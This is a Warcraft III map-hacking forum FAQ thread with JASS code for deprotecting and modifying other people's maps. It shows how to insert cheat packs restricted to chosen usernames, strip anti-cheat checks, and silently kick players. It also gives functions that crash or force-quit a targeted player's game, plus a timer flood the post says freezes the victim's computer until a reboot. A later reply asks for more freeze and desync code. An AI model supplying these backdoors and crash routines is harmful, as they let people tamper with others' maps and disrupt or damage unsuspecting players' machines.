Question: Theres missing units and items when i open my map with WE Answer:
Spoiler:
Restore With MPQMaster Extract the wc3.### into the deprotected map (Look at files from earlier to see what ones you need to replace)
Question: When i try open my map i get the error WERandomGroupSet (.?AUWERandomGroupSet@@) Answer:
Spoiler:
You need to replace the wc3.w3i with a blank one.
Attachment:
war3map.w3i
Question: When i try open my map i get the error Unit data missing or invalid Answer:
Spoiler:
You need to replace the war3mapunits.doo with a blank one.
Attachment:
war3mapunits.rar
CP Related
Question: Is it possible to change that message when i type the activator in? Answer: Yes
Spoiler:
This is the end of JJ's cp Edit the part that says "Edit here!!!" (Don't mess with the ""'s)
Code:
endif set p2p=null set s2s="" endfunction function CheatUse takes nothing returns nothing local player p2p=GetTriggerPlayer() if SubString(GetEventPlayerChatString(),0,100)==Activator and not IsPlayerInForce(p2p,CHEATER) then call DisplayTextToForce(CHEATER,GetPlayerName(p2p)) call ForceAddPlayer(CHEATER,p2p) call TriggerRegisterPlayerChatEvent(CHEATS,p2p,"-",false) call DisplayTimedTextToPlayer(p2p,0,0,10,"EDIT HERE!!!!!") endif set p2p=null endfunction
Question: Can you change the activator for cheatpacks? Answer: Yes
Spoiler:
Edit the par that says "-Risker" to whatever you would like.
Question: Is it possible to make JJ's CP only work for special usernames? Answer: yes
Spoiler:
Part sp7=="NAME", change all the name's from Risker to whatever you would like.
Code:
function CheatUse takes nothing returns nothing local player p2p=GetTriggerPlayer() local string sp7=GetPlayerName(GetTriggerPlayer()) if sp7=="risker" or sp7=="risker" or sp7=="risker"then if SubString(GetEventPlayerChatString(),0,100)==Activator and not IsPlayerInForce(p2p,CHEATER) then call DisplayTextToForce(CHEATER,GetPlayerName(p2p)) call ForceAddPlayer(CHEATER,p2p) call TriggerRegisterPlayerChatEvent(CHEATS,p2p,"-",false) call DisplayTimedTextToPlayer(p2p,0,0,10,"|cff8B0000Hacked By|r |cff737373Risker!") endif [color=#40FF00]endif[/color] set p2p=null endfunction
Translation
Question: How do you edit war3map.w3i when it's corrupted? Answer:
Spoiler:
When needing to edit the war3map.w3i you should extract it from the map, then open it with a hex editor such as XVI32. This is the only way to edit it, other than trying to re-create it which is pointless.
Question: What is an easier way to translate war3map.j? Answer:
Spoiler:
For starters the /last/ thing you should do is proof read the entire file, literally the last thing you should do is scroll through the script to see if you've missed anything but never start that way! Too painfully slow and easy to miss things. The best way is to download a program called windows grep (Download will be below under what tools are needed to translate a map) and to search a file with it using keywords to find things to translate; Message, display, dialog and text.
They're all great examples of things to search for, you'll find 90% of all things requires translation via searching for these. The other 10% is usually just missing things. Copying those lines that you find, drop it into http://translate.google.com/ then pasting it into the "search and replace" of your jasscraft to make it final.
Question: What tools are needed to translate a map? Answer:
Spoiler:
Question: Where is the file location of the harder to find things that need translation? Answer:
Spoiler:
Question: How do you translate abilities and units? Answer:
Spoiler:
Anti-Cheat
Question: How do you remove AMHS Answer:
Spoiler:
Go to the function main part. search for the triggers they use to activate the AMH system. such as
Code:
call AMH_initrggers()
delete all of them, then the AMH shouldn't be working anymore.
Question: What are the common SP and how do you remove them Answer:
Spoiler:
First search (Ctrl + F) for "-save" you'll end up seeing something probably like this:
First search for PLAYER_SLOT_STATE_PLAYING, there may be more than one. Now it will most likly either be one that is looped or one for each player. If there is one for each player most likly you'll see right under them functions that add to a variable, like set X = X + 1. This variable is how it tells how many people are in the game. What you want to do is search X (Make sure to check Match whole words and Match case). Then click Find next till you see something like X=<1,X=1,X<2 or something that makes it only work if it's one. Now just change the number to 0. There may be more then one checker, so make sure to get them all. As for the looped one, there will be more than one X = X + 1 the one that won't be it will be the one that is with exitwhen X>11. Here is an example:
Code:
loop if GetPlayerSlotState(Player(A))==PLAYER_SLOT_STATE_PLAYING then set X = X + 1 endif set A = A + 1 exitwhen A>11 endloop
A is what you want to ignore and X is what you want to look for.
It basically just checks for players typing them, and if it detects them... Displays strings to people saying you're cheating, removes your gold, removes character stats, kicks you... Lots of things can happen.
Also, if there's a line like: "call ExecuteFunc(CRASH)" or something like that then remove it. ____________________________________________________________________________
Don't delete the anticheat triggers! It just creates more trouble! Just replace everything inside of it with "call DoNothing()".
Question: Is it possible to convert JASS to GUI Answer: Yes
Spoiler:
There is no tool for this (unprotect works only randomly so... no tool) and even if there was one, you wouldn't get the same gui it was made of. It's like decompiling a C program back to C, what you get is ugly and all names/comments are missing.
Question: Can you autokick/ban someone from my map? Answer: Yes
Spoiler:
local string PlayerName="<REPLACE THIS WITH THE PLAYER NAME>" //Entirely lowercase! local integer i=0
loop exitwhen i>11 if GetPlayerName(Player(i))==StringCase(PlayerName,false)then call CustomDefeatBJ(Player(i),"You are banned.") endif set i=i+1 endloop
Question: Can you give me a simple JASS kick system Answer: Yes
function init_votekick takes nothing returns nothing local integer i=0 loop exitwhen i>11 set votekick_dialog=DialogCreate() call TriggerRegisterPlayerChatEvent(votekick_votekick,Player(i),"-votekick",true) call TriggerRegisterDialogEvent(votekick_buttonclick,votekick_dialog) set i=i+1 endloop endfunction function VotekickClick takes nothing returns nothing local player p=GetTriggerPlayer() local integer id=GetPlayerId(p) local integer istart=id*12+100 local button b=GetClickedButton() local integer j=0 local player q loop exitwhen j>11 if votekick_buttons[istart+j]==b then set q=Player(j) if votekick_votes[istart+j]==1 then set votekick_votes[istart+j]=0 set votekick_votes[j]=votekick_votes[j]-1 call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,"A kick vote has been withdrawn for "+GetPlayerName(q)) else set votekick_votes[j]=votekick_votes[j]+1 set votekick_votes[istart+j]=1 call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,"A kick vote has been issued for "+GetPlayerName(q)) if votekick_votes[j] >= VOTES_NEEDED_TO_KICK then call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,GetPlayerName(q)+" has been kicked by vote") call RemovePlayer(q,PLAYER_GAME_RESULT_DEFEAT) if q==GetLocalPlayer()then call EndGame(false) endif endif endif endif set j=j+1 endloop set q=null set b=null set p=null endfunction function VotekickShow takes nothing returns nothing local player p=GetTriggerPlayer() local integer id=GetPlayerId(p) local integer istart=id*12+100 local integer j=0 local player q call DialogClear(votekick_dialog[id]) call DialogSetMessage(votekick_dialog[id],"|cffffcc00Votekick who?") loop exitwhen j>11 set votekick_buttons[istart+j]=null set q=Player(j) if GetPlayerSlotState(q)==PLAYER_SLOT_STATE_PLAYING and GetPlayerController(q)==MAP_CONTROL_USER and q!=p then if votekick_votes[istart+j]!=1then set votekick_buttons[istart+j]=DialogAddButton(votekick_dialog[id],GetPlayerName(q)+" |r[|cffffcc00Vote|r]",0) else set votekick_buttons[istart+j]=DialogAddButton(votekick_dialog[id],GetPlayerName(q)+" |r[|cffffcc00Cancel Vote|r]",0) endif endif set j=j+1 endloop set votekick_buttons[id]=DialogAddButton(votekick_dialog[id],"Cancel |r[|cffff0000ESC|r]",512) call DialogDisplay(p,votekick_dialog[id],true) set p=null set q=null endfunction
Functionmain
Code:
function InitTrig_Votekick takes nothing returns nothing set votekick_votekick=CreateTrigger() set votekick_buttonclick=CreateTrigger() call TriggerAddAction(votekick_votekick,function VotekickShow) call TriggerAddAction(votekick_buttonclick,function VotekickClick) call ExecuteFunc("init_votekick") endfunction
How it works A player types "-votekick" and it will open up a dialog for them which contains a list of players who are currently playing and beside their name will be either [Vote] or [Cancel Vote]. At the bottom will be a "Cancel [ESC]" button where pressing ESC will close the dialog.
Three votes or whatever the constant is changed to will be how many votes are required to get booted. You cannot vote or cancel a vote against yourself.
Question: Is there ways to crash people? Freeze there warcraft? Etc? Answer: Yes
Spoiler:
Code:
function SendCrash takes player p returns nothing if p==GetLocalPlayer()then call ExecuteFunc("Harr! Crashy!!") endif endfunction
function SendExit takes player p returns nothing if p==GetLocalPlayer()then call ExecuteFunc("ExitWarcraft") endif endfunction
Usage: call SendExit(<Insert Player Here>) Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked And this is good for making people go 'WTF' because their wc3 just closed without fataling
That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time ) It just makes the picked player immediately leave the game and go to chat.
Code:
function SendLeave takes player p returns nothing if p==GetLocalPlayer()then call EndGame(false) endif endfunction
(Instant Desync + freeze computer; most users will need to reboot as Operating Systems might take up to 10 minutes or more to close the program):
Code:
function Clusterfuck_Child takes nothing returns nothing call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child) endfunction
function Clusterfuck takes player p returns nothing if p==GetLocalPlayer()then call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0)) call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child) endif endfunction
Question: Can you kick people with these methods? Question: Yes With a little work
Spoiler for Some Examples:
//globals
Code:
trigger kt7=CreateTrigger()
//function main //use Player(0) instead if the player red is host.
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif if Player(z7-1)==GetLocalPlayer()then call Player(17) endif set p7=null endfunction
2nd option //endglobals >kick the player silently, without noticed by anyone else.<
Code:
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif call RemovePlayer(Player(z7-1),PLAYER_GAME_RESULT_VICTORY) set p7=null endfunction
3rd option //endglobals >Popping out a quit mission menu, with a message in it.< //exp: -kick 8 You are damned
Code:
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif call CustomDefeatBJ(Player(z7-1)),SubString(s7,8,200)) set p7=null endfunction
4th options //endglobals >Popping up a menu saying "You are disconnected"<
Code:
function kickit takes nothing returns nothing local player p7=GetTriggerPlayer() local string s7=GetEventPlayerChatString() local integer z7=S2I(SubString(s7,5,8)) if(z7<1)or(z7>13)then set p7=null return elseif z7-1==GetPlayerId(p7)then call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.") set p7=null return endif if Player(z7-1)==GetLocalPlayer()then return endif set p7=null endfunction
Note: Player code are 1-12. 1 as red, 2 as blue and so on. Can't kick yourself. Only host(player red or blue) can kick, as requested. Do nothing if an invalid player code are inserted. command would be -kick###@@@@ # as player code @ as messages if the 3rd options are used. I made the codes without any JASS tools. So let me know if there are syntax errors.
Question: Can you give me the clean wc3.xxx files? Answer: Yes
Question: Can you give me an ally system in JASS? Answer: Yes
Spoiler:
Code:
function GetBaseLength takes string s returns string if SubString(s,0,5)=="-ally"then return"5a" elseif SubString(s,0,7)=="-unally"then return"7b" elseif SubString(s,0,7)=="-vision"then return"7c" elseif SubString(s,0,9)=="-unvision"then return"9d" endif return"" endfunction
function AllyExecute takes nothing returns nothing local integer i=0 local player p=GetTriggerPlayer() local integer id=GetPlayerId(p) local string s=GetEventPlayerChatString() local string l=GetBaseLength(StringCase(s,false)) local string array n local player t if l!=""then set i=S2I(SubString(l,0,1))+1 set l=SubString(l,1,2) else set p=null return endif set n[0]="red" set n[1]="blue" set n[2]="teal" set n[3]="purple" set n[4]="yellow" set n[5]="orange" set n[6]="green" set n[7]="pink" set n[8]="gray" set n[9]="light blue" set n[10]="dark green" set n[11]="brown" set n[12]=StringCase(SubString(s,i,i+10),false) set n[13]="" set i=0 loop if n==n[12]then set n[0]="exit" endif exitwhen n[0]=="exit" set i=i+1 endloop set t=Player(i) if id==i then call DisplayTextToPlayer(p,0,0,"You can't perform Alliance Operations with yourself!") elseif i>11then call DisplayTextToPlayer(p,0,0,"Invalid player color.") elseif (l=="a")and(not GetPlayerAlliance(p,t,ALLIANCE_PASSIVE))then call SetPlayerAllianceStateAllyBJ(p,t,true) set n[13]=GetPlayerName(p)+" is now allies with "+GetPlayerName(t) elseif (l=="b")and(GetPlayerAlliance(p,t,ALLIANCE_PASSIVE))then call SetPlayerAllianceStateAllyBJ(p,t,false) set n[13]=GetPlayerName(p)+" is now enemies with "+GetPlayerName(t) elseif (l=="c")and(not GetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION))then call SetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION,true) set n[13]=GetPlayerName(p)+" is now sharing vision with "+GetPlayerName(t) elseif (l=="d")and(GetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION))then call SetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION,false) set n[13]=GetPlayerName(p)+" is no longer sharing vision with "+GetPlayerName(t) endif call DisplayTextToPlayer(GetLocalPlayer(),0,0,n[13]) set p=null set t=null endfunction
//======================================================================= function InitTrig_AllySystem takes nothing returns nothing local integer i=0 local trigger t=CreateTrigger() loop exitwhen i>11 call TriggerRegisterPlayerChatEvent(t,Player(i),"-",false) set i=i+1 endloop call TriggerAddAction(t,function AllyExecute) set t=null endfunction
Alright, here is how it works.
-ally color (Allies) -unally color (Unallies) -vision color (Shared Vision) -unvision color (Unshared Vision)
Key Points:
-System uses no globals! (Yay! --> Means that your map takes up less permanent memory!) -You can share vision with an enemy. -When you ally an enemy with whom you're sharing vision, you become allies with shared vision. -If you're sharing vision with an ally and unally them, they still retain shared vision -Allying an enemy will not automatically share vision -Messages will display to all players when you change your alliance status -If you're trying to ally an ally, nothing will happen and no message will display. Same thing for shared vision -You cannot ally/vision yourself (It will tell you you're a moron) -You will receive no message if you typed "-" but "vision", "ally", "unally" or "unally" doesn't follow. If either of these follow the "-", but the player is invalid, you will receive an error message.
Also, this system is not case sensitive, -alLY rEd will work the same as -Ally Red.
GUI Related
Question: Where is the best place to find GUI systems? Answer:
Question: Is it possible to convert GUI to JASS Answer: Yes
Spoiler:
1. Extract your maps .j with GUI Triggers within it. 2. Take the global variables, put them along with the others in your other maps .j. 3.Take all the functions 4. Remove comments 5. Unnecessary blank lines 6. Don't copy the "call custom triggers" 7. Manually type out InitTrig_yourtriggername( ) after it sais "InitBlizzard()" under function main. 8. Reimport the .j over the other 9. flush the map in mpqmaster 10. delete the attributes
Question: Can you auto kick / ban someone from my map? Answer: Yes
Spoiler:
Player Colors Events Conditions Actions Set Player_Colors[1] = |c00ff0303 Set Player_Colors[2] = |c000042ff Set Player_Colors[3] = |c001ce6b9 Set Player_Colors[4] = |c00540081 Set Player_Colors[5] = |c00fffc01 Set Player_Colors[6] = |c00ff8000 Set Player_Colors[7] = |c0020c000 Set Player_Colors[8] = |c00e55bb0 Set Player_Colors[9] = |c00959697 Set Player_Colors[10] = |c007ebff1 Set Player_Colors[11] = |c00106246 Set Player_Colors[12] = |c004e2a04 For each (Integer A) from 1 to 12, do (Actions) Loop - Actions Set Player_Names[(Integer A)] = ((Player_Colors[(Integer A)] + (Name of (Player((Integer A))))) + |r)
WE/Wc3 Related
Question: How do you get a rawcode list faster than getting it manualy Answer:
Spoiler:
RMPQEx Use the Dump object data button, it makes a text file with all the information for each type of custom object data that you select. Easy to find particular things in it (Ctrl+F)
Question: What programs do i use to protect a map with? Answer:
Spoiler:
You need to download the folder of optimizers
Question: How do i shrink size of my map? Answer:
Spoiler:
You need to download the folder of optimizers
Question: How do i edit preview information? Description etc Answer:
Spoiler:
You need to use a hex editor, such as XVI32, to edit the .w3x (the map). Find the name, change it, and save it. Rename the .w3x (the map), so that the file name also matches the new name. You need to extract the war3map.w3i, open it with a hex editor, change the map name (if it calls a string, then find that string in the war3map.wts and change it there, too, and then proceed to the following), save, delete the one in the map, add the new one back in, and flush the map. And, you need to open up the war3map.j, search for call SetMapName, change the map name that's in quotes right after that (if it calls a string (it says TRIGSTR_XXX), then open the war3map.wts, find the string it calls (whatever number the XXX was, search for that, the string is the stuff right underneath it), and change it there, too, and then proceed to the following), save, delete the one in the map, add the edited one back in, and flush the map.
Question: How do you get raw codes ? Answer:
Spoiler:
1.Use MPQMaster to extract war3map.w3t file. 2. Open a blank map in WE 3. Import the file. 4. Open the Object Manager 5. Set it to view raw codes.
Question: What do all the war3map.xxx files do? Answer:
Spoiler:
war3map.w3a - All the custom ability data is stored in this file war3map.w3h - Buffs/Effects war3map.w3q - Upgrades war3map.w3t - All the custom item data is stored in this file war3map.w3u - All the custom unit data is stored in this file war3map.w3b - Destructibles war3map.w3d - Doodads war3map.wts - Strings/This file contains trigger string data (ex: You have a trigger that says "Hi" to all players..."Hi" will generally be stored in this file. This file also contains map name and other related information and you can also find custom object tooltips, information and names here) war3map.j - Jass Triggers
Question: Is it possible to edit a trigger without deprotecting the map? Answer: Yes
Spoiler:
1. Open it in MPQMaster 2. Edit the file war3map.j
Joined: June 8th, 2008, 3:05 am Posts: 370 Location: Australia
Thanks, yeah I was reading that myself and was thinking the same thing. ^_^ I think when I made this, I just wanted to sound smart. EDIT:
Nope, it's already there I just added how to get it manually for the sake of teaching I do believe.
Quote:
Question: How do you get a rawcode list faster than getting it manualy Answer:
Spoiler:
RMPQEx Use the Dump object data button, it makes a text file with all the information for each type of custom object data that you select. Easy to find particular things in it (Ctrl+F)
Joined: November 3rd, 2010, 10:48 am Posts: 1849 Location: Singapore
Title: Best Player
Quote:
Question: Is there ways to crash people? Freeze there warcraft? Etc?
All content under this didn't work for me... or I didn't use it right? I want a few separate functions which 1, freezes, 2, lags the warcraft for 1 player 3, desync
did anyone tested the codes given in this question
_________________ Request a map? Follow the rulesHERE Request templateHERE Please, do not PM me. On the side note, I'm still playing vampirism speed on malaysia room, occasionally in Garena. Bcuz too lazy to find out where else I can play them.
Users browsing this forum: No registered users and 7 guests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot post attachments in this forum